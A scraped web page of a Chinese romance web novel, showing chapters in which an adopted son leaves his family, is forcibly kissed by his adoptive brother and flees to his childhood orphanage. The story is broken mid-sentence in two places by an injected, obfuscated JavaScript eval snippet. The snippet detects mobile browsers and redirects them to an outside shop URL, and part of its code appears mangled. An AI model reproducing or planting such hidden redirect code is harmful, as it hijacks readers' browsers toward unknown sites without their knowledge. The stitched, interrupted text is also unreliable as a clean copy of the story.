章长宁能接受解除领养关系,不代表他就没有情绪起伏,他怕自己住在家里、每天抬头不见低头见的,到最后只会自私地舍不得。 章长宁低下头强忍着眼泪,“求你们了,让我静静吧。” 他之所以回家,是为了给长辈们一个交代、不想让他们替自己担心;他之所以离开家,也是想给自己一个逃避的空间。 …… 章长叙一下班就迅速打卡离开了医院,只不过高峰期的路上有些堵,等到返回别墅时,家中已经没了章长宁的身影。 章渡等人围坐在客厅里,各个心事沉沉。 章长叙蹙眉,“长宁呢?不是说他已经回来了。” 章长风对上他的视线,将不久前发生的事情简单复述了一遍,“小弟不愿意我们围在他身边,说想要一个人冷静一下。” 章长叙眸色微变,“他说要冷静,你们就真让他这么走了?以他现在的情况,万一在外出危险了怎么办!” 没了平时的冷静沉着,反倒是隐隐带着怒意的指责。 “……” 章渡和沈眠从未见过章长叙用这份神态和他们说话,一时有些没反应过来。 章长风察觉到章长叙关心则乱的失态,走上前,“长叙,是小弟执意要走的,我们不是没有挽留过……” 他顿了顿,低声提醒,“手心手背都是肉,爸妈哪里会舍得?” 遇到这种事情,章渡和沈眠又能好过到哪里去? 章长叙意识到自己的语气偏重了,不着痕迹地压了压呼吸,“我出去一趟,晚餐不在家里吃了。” 章长风哪里能猜不到他的想法,“长叙,你上哪里找小弟啊?” 章长叙头也不回,“我会找到的!” 越是这种关键时期,他就越不可能留下章长宁一个人! …… 是夜。 悦湾别墅区自从建成起,就成了很多商业性工作室的香饽饽首选,柏续的陶艺工作室的选址也在这里。 不过这个时间点,这排的工作室都已经下班了,挨家挨户黑黢黢的,只有绿化道路的路灯组成了为数不多的光亮。 “滴!开锁成功!” 章长宁解开工作室的门,摸黑走了进去。 从章家别墅离开后,他其实就没了方向,一时也不知道该去哪里,思来想去,没去找合适居住的酒店,而是打车来到了工作室。 章长宁走到二楼属于自己的办公室,打开一盏小凳。 还好他平时因为工作之外的午休需求,安排了一张还算舒适的单人躺椅,能暂时对付几个晚上。 筋疲力尽的章长宁没想着关门,而是就这么坐了下来,他蜷缩着身子将头埋进膝盖,这才放任自己情绪倾斜。 轻微的抽泣一点点地在办公室里回荡,压抑又无助。 章长宁总以为清楚明白自己的身世、做好了自己这个“赝品”随时会被“正牌少爷”换回的准备,可是到如今,这件事情真真切切地发生了,他才发现自己根本就不知道该怎么办。 和柏续解除领养身世后,他还能留在章家吗?还能以什么身份留在章家呢?如果让外人知道了这件事,会不会骂他厚脸皮? 或者,他该去寻找自己的亲生父母吗?可当初的他就是被抛弃丢在孤儿院的小孩,连着三四年都没有家里人来找。 恐怕,他真正的父母亲人早就不要他了。 “……” 时间一分一秒地过去,章长宁胡乱地想了很多,始终没有明确的方向。 忽然间,一楼响起了电子门解锁的声响。 章长宁茫然抬头,不确定地看向了虚掩的办公室门,旋转楼梯上开始出现了脚步声,并且离得越来越近。 章长宁本能地紧张起来,他急忙拿起办公桌上装饰用的石膏像,充当自己的防身用品。 虚掩的门推开的刹那—— 章长宁迅速举起石膏,喊道,“谁!” “宁宁?” “……” 章长宁对上章长叙突然出现的身影,错愕地愣了两秒,再然后,更为浓烈的情绪如同疯狂生长的藤蔓将他团团包裹。 章长宁觉得自己似乎忘了呼吸,手中的石膏像猛然坠在了地上。 章长叙几乎是同时有了反应,直接一个大跨步就将他拥在了怀中,“没事了,我在这儿。” “……” 哥。 章长宁张了张嘴,昔日最容易出口的称呼此刻就堵在了他的喉咙里,愣是没有勇气再说出来。 章长宁无力地合上眼,终于明白自己内心深处最最恐惧的是什么—— 一旦解除和章家的领养关系,他连和章长叙做“亲兄弟”的资格都没有了,他再也无法借着“弟弟”的名义和章长叙去相处、去生活。 他那本来就见不得光的感情,以后连合适的伪装都不能有了。 章长宁感受到章长叙掌心落在自己背上的安抚,强撑着开口,“你怎么知道我在这里?你怎么进来的?” “你对酒店那种地方从来就没有归属感,我想了想,你短时间内只可能往这里躲。” 自从元旦那会儿逃跑出国后,章长叙就已经拿下了章长宁的护照的管理权,既然不可能出国,那么工作室就是章长宁最熟悉的环境之一。 “电子门的密码是我问柏续的,他也想让我告诉你,下午之所以说那话,初衷不是为了伤害你。” “我知道,柏续他对我一直很好。” “宁宁,跟我回家,好吗?” “……” 章长宁强迫自己从章长叙温暖的怀抱中,摇了摇头,“我不回去,我不想回去,你也走吧,我一个人待在这里挺好的。” 章长叙还是很担心章长宁的状态,改口,“那我留在这里陪你。” 章长宁抬眸看向章长叙,没了往日的亲昵和活泼,只剩下近乎麻木的疲惫和空洞,“你继续留在这里,只会让我觉得有负担,我不需要你。” 最后五个字,咬得很轻,却砸得章长叙心脏发紧,“你赶我走?” “我只是想一个人缓缓。”章长宁不敢再看他的眼神,“我真的需要时间考虑清楚,未来的路到底该怎么走。” 他不想看见章家的任何人,更不想看见章长叙,否则只会让他变得优柔寡断、寸步难行。 “很晚了,我真的很累,你走吧。” “……” 章长叙沉默了好一会儿,还是尊重了章长宁的决定,“好,给你时间慢慢缓冲考虑,有事随时给我打电话。” 章长宁没应答,死守着余光没有多看。 章长叙站在原地等了好一会儿,见他用沉默发声后,只能做出让步,“今晚好好休息。” 有些事情,只能由作为当事人的章长宁自己想明白,至于感情上的事,等到合适的时间再开口也不迟。 脚步声渐行渐远,直到消失。 章长宁只觉得原本已经麻木堵塞的心脏突然抽痛起来,像是硬生生地随着章长叙的离去空了一块。 眼泪无声地砸了下来。 他重新瘫倒在单人沙发上,一夜无眠。 而另一边的章长叙离开了工作室,却没有离开,他不放心章长宁一个人,于是坐回到自己的车中,盯着二楼帘缝里的光亮。 一守,就守了这么整整一夜。 … 次日一早,章长宁赶在同事们上班前简单洗了把脸,红着脸、强撑着精神坐在了自己的工作位上、准备新一轮的稿件设计—— 叩叩。 敲门声响起。 工作室的运营总监邱怡在办公室外问,“长宁,你在吗?我可以进来吗?” “进。” 章长宁看向进门的邱怡,挂起一道勉强的笑意,“邱姐,你今天怎么来这么早?” 邱怡一眼瞧出了他的不对劲,“你还好吗?眼睛怎么有点红肿?哭过了?” “没。” 章长宁不愿透露过多,“我正打算设计澜庭国际的陶瓷艺术墙面,你找我有什么事吗?” 邱怡听见他强行转移的话题,很有分寸感地停止了打探,“喏,给你的——” 她将早餐袋子摆在了章长宁的桌前,如实告知,“我刚进工作室前,有个男人拦住了我,让我把早餐带给你。” “……男人?” “嗯,长得挺高的,也挺斯文的,不知道什么时候来的,我看他一直坐在车里等着呢。” “……” 章长宁慢半拍地反应过来,好不容易压下去的酸涩又卷了起来。 他吸了吸鼻子,“知道了,谢谢邱姐。” “不客气,记得吃早餐。”邱怡还是觉得章长宁的状态不对,关切,“要累了撑不住就休息,反正我们的工作时间很弹性。” “嗯,我知道。” 办公室的门重新关上。 章长宁看着眼前的早餐袋子,犹豫了很久还是将其推到了一边,强迫自己进入到工作状态。 前两天在国际陶艺展览的现场,他们工作室收获了不少订单。 章长宁不是甩手掌柜,不想因为私事就影响到工作排单的进度,何况,眼下的他只有让自己忙起来,才没功夫瞎想。 … 转眼就过去了小半个月,章长宁终于完成了手头设计稿的交接。 他从工作状态中抽离出来,看着搁置在一旁的文件袋,里面是他一早就准备好的、有关于解除领养协议的相关资料。 “……” 经过这段时间的冷静,章长宁已经打从心底接受了这个既定的事实。 章长宁拿起自己的电话,主动给章渡发去了消息:“爸,待会儿三点有空吗?我想和你们谈谈解除领养关系的事。” 有些关系,是该结束了,而有些事情,也该做了断了。 … 章长宁再次踏入章家别墅,他看着周围熟悉的一切,心里却没了“主人”的意识,而是不自觉地 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章长宁打断章渡的想法,主动将准备好的协议文件摆在了众人的跟前,“我查过了,这是解除领养关系的书面协议,以及相关的复印件。” “只要双方达成一致,签字、按手印就好解决。” “这些年,章家对我的养育之恩我都记在心里,一时半会儿还不清,但我现在已经工作了,我以后一定会慢慢报答的。” “小宁,你这说的什么客套话?”章渡不赞同,“我和你妈将你养大,是为了图你赚钱报答吗?” 章长宁就猜到章渡会这么说,“爸,我不是这个意思,我知道你们从来不图我什么。” 这些年,章家给他的实在是太多了。 章长宁自觉一时半会儿偿还不起,只能慢慢来。 不过好在从大学开始,他就有意识地赚钱攒钱、平时收到的零花钱也没乱花,这会儿已经存了不少积蓄。 当然,这些他会私下转交给柏续的。 “这份书面协议不涉及任何财产分割,只是单纯解除我和章家的领养关系,我已经签字了,爸,你觉得没问题的话也可以签了。” “……” 章渡犹豫着,没答应却也没反驳。 章长风盯着这份书面协议,眉头紧蹙,“我不同意,爸,妈,眼前不是非有这条路可以选,两个弟弟平日关系不错,他们两人的身份从来不存在任何冲突,为什么非要……” 他想不明白地摇了摇头,看向了边上沉默着的章长叙,“长叙,你说话啊。” 章长叙不着痕迹地压住了呼吸,一字一句,“我同意解除领养关系。” “……” 章长宁一怔,心骤然漏了一拍。 边上的章长风听见这话,不可置信,“长叙?你怎么……” 谁不知道,家里最最护着章长宁的人其实是章长叙、最怕章长宁受到伤害的人也是章长叙,如今怎么会还同意这件事! “我同意这事。” 章长叙盯着始终躲避目光的章长宁,看似有条理地分析,“一来随了柏续的心愿、能够让他的身份回到正轨,二来只是一纸协议而已,我相信影响不到长宁和家里人的感情。” 章长宁听着章长叙理智到近乎冷漠的话语,只觉得胸口苦涩蔓延,“嗯,是这样。” 章长宁侧身牵住沈眠的手,低声道,“妈,别再犹豫了,你还记不记得我春节那会儿送你的祝福?” 沈眠一下子就掉了眼泪,她当然记得。 章长宁像往常那样乖巧地擦掉她的眼泪,扬着笑意安慰,“我希望你得偿所愿,所以我不难过、也不委屈,我替你和爸爸感到高兴,真心的。” “我也想让柏续回到章家,我想让你们没有遗憾。” …… 章渡最终还是在协议上签下了自己的名字,并且也委托了异地的朋友去当年的领养地公证这份协议。 章长宁这回没急着离开,他借口自己累了想要休息、没让人打扰,回到了原本属于他的二楼卧室。 章长宁轻轻关上房门,环视着卧室里的布局,当初章家要换了新房子后,全家人特意将这间景观房留给了他,还全程让他自己设计决定。 曾几何时,章长宁觉得自己可以就这么赖在这里一辈子。 章长宁从衣帽间里拿出了一件行李箱,开始默默地收拾自己的东西。 敲门声再次响起。 只是还没等章长宁应答,屋外的人就推门走了进来。 章长宁转身,猝不及防地对上了章长叙晦涩难辨的眼神,“你收拾东西做什么?” 说着,他就迅速逼近了衣帽间。 “……” 章长宁避开他的视线,自顾自地叠起衣服,“我在外面租了房子,等收拾好了就搬出去住,柏续既然要回来,这房间也得给他腾出来。” “家里缺你这一间房吗?腾什么腾。” 章长叙是打算来和章长宁好好聊聊的,结果一进门就看见了这幕,“章长宁,你到底怎么想的?你说你需要时间,结果考虑到最后是要搬出去?” 章长宁藏在衣服底下的手攥了起来,心绪突然就翻腾着难受。 他忍住呼吸的颤抖,假装坚决,“是!我就是要搬出去。” “不准搬!” 章长叙几乎是想也不想就否决,语气是前所未有的生硬,只是话一出口,他就意识到了自己的失控,“宁宁,我……” 只是这三个字砸在章长宁的心上,让他会错了意。 章长宁再也无法控制内心深处的委屈和不安,崩溃吼道,“章长叙!你现在有什么资格管我!” 不再是以往的“哥”和“二哥”,而是连名带姓的“章长叙”。 章长叙怔在原地,盯着他的视线逐渐发沉。 章长宁没意识到眼前人的微妙情绪,任由红意沾染眼眶,他觉得自己面对章长叙的时候,就像个病态又扭曲的怪物—— 明明就是自己提出来的解除关系,可只要想到章长叙从头到尾没说过一句“不同意”,甚至没有表现出丝毫的维护和挽留,他就难受得无法呼吸。 “你凭什么觉得我还要再听你的话?” “你凭什么觉得你可以替我做出去或留的选择?” “……” “从始至终,我们就没有血缘关系!我从小就知道的事情,难道你不知道吗?” 章长宁将手里的衣服丢在地上,一步步地靠近章长叙,心痛如同凌迟一般,“你不是也同意我和章家解除关系吗?” “现在好了,协议一生效,我们俩就不是名义上的亲兄弟了!” “……” 章长叙眼中的风暴越来越重,一点一点地卷走了他的理智和沉稳。 章长宁溺在自己无法排解的情感挣扎中,苦笑着,却也近乎哀求,“你还能管我一辈子吗?我们两个注定是要越走越远的,章长叙,你到底明不明白?” 伤人伤己的话问出口,章长宁却没想着要得到答案。 他转身想要掩饰自己狼狈的落泪,结果下一秒就被章长叙用力扯进了怀中,“你说得对!” “我们现在已经不是名义上的亲兄弟了,我从一开始要的就是这结果。” “……” 什、什么? 章长宁思绪停滞,眼泪无声坠落。 章长叙所有的理智在这一刻灰飞烟灭,他用力扣住了眼前人的下颚,孤注一掷地吻了下去。 26.【第026章】 带着强烈占有欲的吻落了下来。 章长宁感受到唇上的用力摩挲,霎时忘了呼吸,他只觉得浑身上下的血液全都急速向了大脑,根本分不清是现实还是虚幻。 他下意识地偏头避开了这个吻,语无伦次,“不……你……唔!” 章长叙根本不给他闪躲的机会,扣住他的下颚再次凑了上去,“躲什么!你不是问我明不明白吗?我给你答案。” 蛮横的吻再次覆上。 “……” 不对? 为什么会这样? 章长宁还是没能弄懂眼前的一切,他伸手触上章长叙的臂膀,试图推开对方的禁锢,然而紧接着,他的下唇猛然吃痛—— 章长叙咬了他,带着故意的、惩罚的成分。 “……” 熟悉的痛感传来,硬生生牵扯出了藏在脑海深处的某些记忆碎片。 章长宁不可置信地瞪大了眼睛,而章长叙已然借着他失神的片刻撬开他的牙关,长驱直入,用力地、强势地,仿佛是将过往所有的理智和禁锢彻底吻碎。 “……” 这是章长宁连做梦都不敢肖想的现实。 他强忍的眼泪猝不及防地坠下,原本还抵在章长叙肩膀和胸口的手软了下来,一点一点地失去了反抗的力气。 咸咸的凉意混在湿吻里,转瞬就融进了彼此的呼吸中。 章长叙察觉到了章长宁松下来的态度,这才缓缓停下,“……现在知道为什么了吗?连你都知道、都记得我们俩不是亲兄弟,那我怎么可能会不知道?” 从小到大,章长叙一直都知道这事。 在他的心里,章长宁是跟着他、黏着他、也是被他保护到大的弟弟,但这个弟弟和他从来都没有血缘关系! 不过是碍于“领养”关系、碍于父母,他才一忍再忍地恪守着自己的防线,如果可以,他也希望章长宁能够安稳幸福地过一生。 “那天在医院,柏续突然提出这个条件,我确实诧异、也想不通他为什么执意要这么做,一开始也怕他的决定伤害到你。” “后来,我返回到医院病房问他,你知道柏续怎么和我说的吗?” “……” 章长宁垂着眼眸,沉默着不敢去看章长叙。 越是这样,章长叙就越是清晰地知道自己猜对了—— 章长宁心里一直有他!根本没有什么暗恋多年的其他人,只有他! 从始至终,他们两人都在自欺欺人地藏着自己的感情,就为了这层“领养”关系不敢明说! 如果说,章长叙不知道这章长宁的感情,他一定会想尽办法阻止、不让章长宁和章家解除关系,可有些感情一旦明了,他就没办法再退了。 “你说得对,我大概是全家唯一一个盼着解除领养关系的人,可这不代表我想和你分开。” “长宁,不是只有亲人才可以同住一个屋檐下,甚至亲人都不可能参与进你全部的人生里。” “……” 章长宁还陷在刚才那个深吻的余威中,哪怕隐约猜到了章长叙的念头,他也头晕眼眩地不知道该怎么办。 他下意识地后撤半步,“你、你别说了。” 章长叙意识到了章长宁的慌乱无措,又一次将他圈回了自己的怀中,以更亲密地贴上了他的额头,“宁宁,我想我的未来都有你,我……” 话还没说完,口袋里的手机就突然响起了来电铃声。 章长宁骤然回过神,强行扯出章长叙的怀抱,闷声提醒,“电、电话。” 好不容易将话拉到了正事上,却在临开口之前被打断。 章长叙一怔,难得懊恼自己没将手机关静音,但因为职业需求,他的手机几乎就没有过静音的时候。 “……” 来电铃声还在持续。 章长叙拿出手机,看见来电显示的人名后眼色微变,“喂。” 电话那头是他的同事陈勋,“长叙,我知道你今天休息,但要是现在方便,立刻回医院一趟。” 章长叙听出他语气里的急促,“怎么了?” “环高架上出了连环车祸,保守估计已经造成了将近五十人受伤了,还有一辆游学校车,上面都是未成年,离得最近的二医收不下,送了好一批到我们医院。” “听说有好几个头部严重受伤,主任让我赶紧喊人。” “凌姐已经往回赶了,你要方便也赶紧回,今晚估计有硬战要打。” 说着,电话那头就涌现出一阵嘈乱,听着像是有伤者被是送来急救了。 电话声匆忙挂断。 章长叙眉头紧蹙着,但身为医生,他没办法、也不可能放下自己的职责不管,“宁宁,医院那边有急事,我必须回去一趟。” 他收起手机,伸手抚上章长宁的颈侧,似解释也似安抚,“你乖乖的,先不要想着搬到外面,等我忙完回来,我们好好聊聊,好不好?” 章长宁看出章长叙有急事,抿了抿唇,还没等他开口答应,章长叙的手机就又响了起来。 “……” “喂,凌姐。” “我知道,我马上过去,估计得半小时,好。” 电话接通又挂断,想来情况是很严重。 章长宁没敢耽误章长叙的正事,“你先去医院吧。” “好,我先走了,你晚饭多吃点。” 章长叙强压下那点纷乱的情绪,迅速转身往外走。 脚步声渐行渐远,但章长宁只觉得自己的心跳越来越快,他不太确定地触碰着自己的嘴唇,上面似乎还残留着摩挲吸吮后的热意和酥麻。 呼吸又乱了节拍。 章长宁愣在原地,喃喃自语,“怎么会呢?怎么会变成这样呢?” 二哥是喜欢他吗?刚刚没说话的话是……是想要表白吗? 不,这怎么可能呢? 章长宁一直以为是自作多情地在唱独角戏,可现在这层窗户纸以意料之外的方式捅破后,他却没有多少惊喜,内心深处反而有种说不上来的慌张。 或许是因为“不可能”这三个字占据了他太多年,他根本就没考虑过这种可能性。 章长宁瞥向自己才整理了一半的行李箱,原本坚定要离开的念头忽然变得迟疑起来。 他满脑子都是那个用力的吻,甚至还隐约想起了一点当初醉酒后的画面,全身上下越发烧得慌。 也不知道过了多久,章长宁才听见保姆阿姨在楼下喊道,“长宁,下来吃饭了!” “……” 章长宁回过神,最终还是搁置了收拾行李箱的计划,带着一颗忐忑的心下了楼。 饭菜的香气溢满了整个饭厅。 章长风抱着女儿、带着妻子也从一楼卧室里走了出来,小宝贝睡了一个下午,这会儿睡精神了,睁着圆溜溜的大眼睛正在四处瞧。 身为外婆的沈眠看着欢喜,连忙伸手,“来,念念,外婆抱一会儿,让你爸爸妈妈好好吃个饭。” “谢谢妈。”苏阳将孩子交了过去,“长叙呢?” 佣人阿姨帮忙回答,“晚餐前就走了,好像是医院临时有事,急急忙忙的。” 沈眠轻拍着念念的后背,无奈,“一心扑在工作上,让他抽点时间找找对象,左推右推的。” 苏阳帮忙回答,“妈,其实是我和长风结婚太早了,现在年轻人结婚都迟,长叙那么优秀,早晚会找到同样优秀的另一半。” 说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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章长宁不敢想象章渡和沈眠对自己伤心失望、愤怒质问的画面,甚至一想到刚才在房间里背着众人的那个吻,他都觉得无地自容。 章长宁没了吃饭的欲望,好不容易熬到晚餐结束,他就快步地躲回了房间。 砰! 房间门一关。 章长宁终于脱力般地瘫坐在了地毯上,他想起自己对章长叙不该有的感情,几乎是自虐似地狠狠扇了自己一巴掌。 痛感泛起,压抑着的眼泪终于有了涌现的借口。 不知怎么,章长宁又想起了章长叙刚才在房间里说过的话—— “宁宁,我不想和你分开,我想我的未来都有你。” “等我忙完回来,我们好好聊聊,好不好?” “……” 不,不能聊,不能再继续聊下去了! 趁着一切都还没有彻底说破、趁着一切都还有回头的机会! 章长宁不敢面对章长叙,更没有勇气面对父母,满心满眼只钻出了“逃跑”这一个念头! 他知道自己带着行李箱离开只会引起家里人的怀疑和提问,于是只在小包里装了自己的证件和备用手机,也借着“工作室有急事”的理由跑出了家。 夜色已经全黑了下来。 章长宁漫无目的地游荡在街头,他出来得着急,压根没想好下一步要怎么办,毕竟工作室是不能再回去了,否则章长叙轻易就能堵住他。 更严格来说,是只要他还留在帝京,就会有被章长叙找到的可能性。 夜风里的冷意一点一点地包裹住章长宁的身体、冷却着他的心脏—— 对于当年才五岁的章长宁来说,帝京太大了,大到只要离开章家,他就会走丢。 对于现在二十四岁的章长宁来说,帝京还是太大了,大到只要离开了章家,他就会变回那个无处可去的孤儿。 27.【第027章】 瓦县的白天总是安静的。 这些年,外出务工的人越来越多,原本就不大的小县城越发剩下了老人和孩子,除此之外,就是从隔壁旅游县绕路来看自然风光的游客。 章长宁拢了拢自己的外套,有点冷。 他看着坐在自家石屋门边正在剥豆子的朴素大婶,乖巧询问,“大婶,你好,请问慈爱福利院怎么走?” 儿时的记忆有些模糊。 章长宁按照回忆里的画面,在镇河边上绕找了两三条小巷,还是没能找到福利院的具体位置。 大婶听懂大概,给他指了指,“外地来的吧?前面那个石墩看见没?往里走就是了。” “谢谢。” 章长宁礼貌道了声谢,不由自主地加快了脚步。 果然,从石墩的路口往里拐了两步,果然看见了一块上了年纪的手工牌匾,上面写着已然掉了漆的五个大字—— 慈爱福利院。 章长宁眸光微闪,攥紧自己的小包背带,小心翼翼地靠近了那扇铁门。 自从成年后有了赚钱能力,他每年都会给这家福利院捐赠上一笔资助款,不算多,但也是他没有忘本的心意。 福利院里的设施已经换了一批,不过看着也有些年头了。 这会儿在院里嬉笑玩耍的孩子不多,只有三位小不点在绕着游乐设施转圈圈,还有两名看着行动不便的孩子、就坐在石阶上安安静静地看着。 章长宁静静地站在铁栅栏外,鼻尖隐隐有些发酸。 大概是触景生情,他突然想到了小时候的自己,明明很多记忆都已经随着年岁而模糊,但那种孤单的感觉却还是在他心里扎了根。 前天晚上,意识到自己无处可去的章长宁突然萌生出了一个想法—— 他是从哪里来的,或许也该回到哪里去。 于是,章长宁先是前往了商氏庄园,知道好友柏续还没回家后,他就将自己手写好的信以及这些年攒着没用的资金全部交给了对方助理,请求助理帮忙转交。 等处理完这件事,他就只身前往了机场。 那会儿,前往川市的直达飞机已经没有了,可章长宁只想要逃离帝京,越快越好,于是他搜索了就近机场的航班、购票登机。 将近一天半的时间里,章长宁又中转了两趟大巴、一辆城镇小巴,才抵达了瓦县。 “……” 眼下的章长宁就站在福利院门口,偏偏有些近乡情怯,不敢贸然进去。 这二十多年来,他一直没有回来过。 章长宁不确定这家福利院的院长有没有换人,哪怕没换人,记忆中的院长阿嫲还能不能记得他? 正想着,身后就响起一阵温和而慈爱的询问,“你好,请问你找谁?” “……” 章长宁闻言,迅速转过身去。 出现在眼前的是一名穿着朴素的老妇人,她的头发都已经花白了,眼角也布满了岁月的痕迹,但那双眼里仍然充斥着温柔的光亮。 刹那间,和章长宁记忆中的画面重合。 章长宁酸涩得更厉害,几乎控制不住地红了眼眶,“……阿嫲。” 声线很轻,却止不住的颤抖,像是藏了说不上来的思念和委屈。 老妇人是这家福利院的院长,丹珠。 她愣了愣,望着章长宁的这头天然小卷毛,有些不敢认,“是、是小七吗?” 小七,是章长宁当年在福利院里的名字。 章长宁的眼泪猛地掉了下来,点了点头。 “真是小七啊?” 丹珠也激动起来,她伸手抚摸上章长宁的胳膊,又惊又喜地打量着他的身形变化,“长这么高了,还那么漂亮,阿嫲都要认不出来了。” “快让阿嫲仔细看看,好端端的,你怎么想着回来了?” “……” 章长宁沉默着,苦苦支撑的心里防线终于决堤,当着丹珠的面眼泪像是不要钱地往下掉。 这些年,福利院里的孩子陆陆续续都被领养了出去,即便没有领养的,长大后也都可以独立赚钱养活自己了。 她送出去的这么多孩子里,最不担心的就是章长宁。 毕竟,当年领养他的章家条件实在是太好了,这些年,院里也会定期收到来自章家、来自小七的慈善捐款,丹珠一直坚信—— 章长宁在章家过得很好。 可现在,孩子突然独自跑了回来,见面没说两句话就哭成这份模样,这可把丹珠吓了一跳。 “哎哟,这是怎么了?小七,别哭,阿嫲在呢。” 丹珠伸手擦掉章长宁脸上的眼泪,担心不已,“是不是受欺负了?还是……还是领养家庭对你不好?” 章长宁怕丹珠误会,连忙摇了摇头,“阿嫲,章家对我很好,真的很好很好,这些年,多亏了我爸妈……” 他想起已经解除的领养关系,低声改口,“我养父母对我很好,我没在家里受委屈,一点儿都没有。” 丹珠不放心,“那怎么哭成这样?” 章长宁吸了吸鼻子,“我、我就是太想你了。” 丹珠还是觉得其中一定发生了什么,于是拍了拍他的手背,“来,先跟阿嫲进院。” “嗯。” … 五分钟后。 丹珠将堵在门口好奇看热闹的小孩子们都喊走,这才推门走进了休息室,“小七,饿不饿?阿嫲今天中午才做了水淘糌粑,你小时候最喜欢吃的,还记不记得?” 糌粑上面还冒着一点热气,是很熟悉的香味。 章长宁这两天都没好好吃过饭,如今闻到这味道就忍不住了,“谢谢阿嫲。” 他捡起碗里的一小块,珍惜地咬了一口。 丹珠坐在他的边上,慈爱地抚摸着他的头发,“好吃吗?” 章长宁点头,“好吃。” 丹珠笑着引导,“那等吃饱了就和阿嫲说说,到底发生了什么事?” 章长宁将一小块的糌粑入了肚,犹豫了好一会儿,还是在丹珠充满关切的目光下说出了实情。 当然,他还是藏了一些事情。 就比如,他这些年对章长叙的感情,也包括章长叙和他之间那层决不能捅破的窗户纸。 “阿嫲,我是自愿和章家解除领养协议的,真的没有受委屈,我替他们开心还来不及,柏续是我的朋友,他人也很好,我只是……我只是心里很愧疚。” 这么长时间以来,章长宁从来没有把章家给予的一切视作应得的,所以在身世真相大白后,他才更觉得对不起柏续。 当然,他和章长叙之间的感情也像是一把尖刀悬在他的头顶,稍有不慎就会落下,斩断了他和章家之间的恩情、斩杀了他。 章长宁承认自己是个懦夫,他不知道该用什么样的态度去面对章长叙、面对养父母、甚至是面对柏续,所以才会落荒而逃。 就连现在带在身边的手机,都不是他的常用机。 “阿嫲,你能不能让我在这里住一段时间?我现在心里很乱。” 丹珠明白章长宁的心理负担,没有拒绝,“当然,现在院里条件好了,孩子也少了些,,二楼有单独的小房间空着,阿嫲收拾出来让你住。” “只要阿嫲在这儿,院里就永远都是你的家,你还有其他孩子随时随地都可以回来住。” 她拍了拍章长宁的后背,给予底气的同时也耐心劝解,“但小七,人不能躲一辈子,等你想清楚、该面对的时候还是要面对的,好吗?” “阿嫲,相信你有这个勇气,是不是?” “……” 章长宁动容,主动抱住丹珠,“谢谢阿嫲,我明白的。” “好孩子,乖。” … 章长宁就这么在福利院住了下来。 不过他没有就这么闲着、荒废着过日子,而是在河对面的爱心小学里当上了义工老师,主要教点美术和启蒙英语。 这座小学就是依靠着福利院的善款建造的,整个县城乃至周边村落的适龄儿童都在这里上学,不过年级没有划分得那么清楚,只有中高低三个班。 章长宁长得好看,性格也很好,因此没几天就和学校里的孩子们打成一片,课后总是跟在他的身后一个劲地喊着: “小章老师。” “小章哥哥~” 章长宁以往做惯了章长叙的“小尾巴”,如果自己身后也被这么一群小尾巴跟着,倒是有种别样的新奇感受。 时间就这么不知不过地过了快一个月。 星期天学校不上课,章长宁难得睡到了自然醒,洗漱完走出门,才发现丹珠和隔壁两位大婶正在择菜根。 虽然福利院里有捐助,但日常节省还是免不了的,每顿饭的蔬菜都是当地人自己种的,便宜也卫生。 章长宁拿着一小板凳走近,笑盈盈地和长辈们打招呼,“阿嫲,早上好啊,你们在聊什么呢?” 说着,他就很自然地帮着丹珠忙活起来。 边上的邻居大婶笑道,“小七,你真打算一直留在这里当老师啊?大城市不好吗?是不是和女朋友分手,偷偷躲到这里来了哦。” 本地人说话的口音有点重,还掺着方言,但章长宁听懂了。 “阿纯婶,我留在这里不好吗?”他一边麻利地择着菜根,一边笑着说,“我觉得这里比大城市好,还不想走了呢。” 丹珠没接话,只是默默地看着章长宁。 虽然这段时间的章长宁总是微笑着面对周围所有人,可她看在眼里,总觉得着孩子心里还闷着什么事、藏着掖着不吭声,将所有的苦楚和难过都往肚子里咽。 她不止一次看见章长宁在无人时留出落寞的神色,也不止一次看着章长宁在深夜的院里呆坐上。 只是章长宁不愿意细说,她就不敢刨根究底地问。 “小县城有什么好的,头疼脑热生个厉害点的病都看不了,还得坐车跑到外面去看。”阿纯婶叹了口气,“费劲哦。” 另外一位婶婶接话,“这两年还好些了,国家和政府会出钱请大城市的医生定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222912|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时来这儿给我们检查身体、看病欸。” 公益性质的医疗援助,每年都会有。 章长宁微微颔首,脑海中却想着:好像章长叙的医院里也会定期组织这些公益项目。 “对了,隔壁瓦南县最近不就有嘛,检查心脏的、检查眼睛、耳朵什么的,好多人都排队过去呢。” 阿纯婶想起这事,将目光转向丹珠,“你去看看?之前不就说心脏不舒服吗?我听说,来的都还是帝京首都的医生呢。” 啪嗒。 章长宁手劲顿时大了些,将好端端的一株芹菜断成了两半。 丹珠看出他的神色异样,“怎么了?小七。” “没事。” 帝京来的医生,看得还是心脏和耳鼻喉,想来和章长叙也没什么关系。 章长宁一想到自己总是联想到章长叙,用力抿了抿唇,改掉话题,“阿嫲,你心脏不舒服吗?之前检查过没有?” 丹珠说,“没事,老毛病了,上了年纪休息不够就觉得难受。” 阿纯婶又说,“你阿嫲这些年操心了那么多孩子,累着呢。” 章长宁想了想,“隔壁县离得远吗?我下午陪你去瞧瞧?” “不远不远,坐阿塔家的电动小三轮去,半个小时就能到了。”阿纯婶抢答,也跟着劝,“难得是免费的,不看白不看,孩子这边我来替你看着,你让小七陪你去。” 丹珠考虑了一会儿,这才应下,“也行,等看完顺道去给孩子们买些新奇些的糖果蛋糕。” “欸!” …… 午后,章长宁和丹珠简单收拾了一下,就前往了隔壁县城。 比起瓦县的安静,隔壁县城算是近两年重点开放的旅游点,不仅人口更多更热闹,而且各项设施也更齐全。 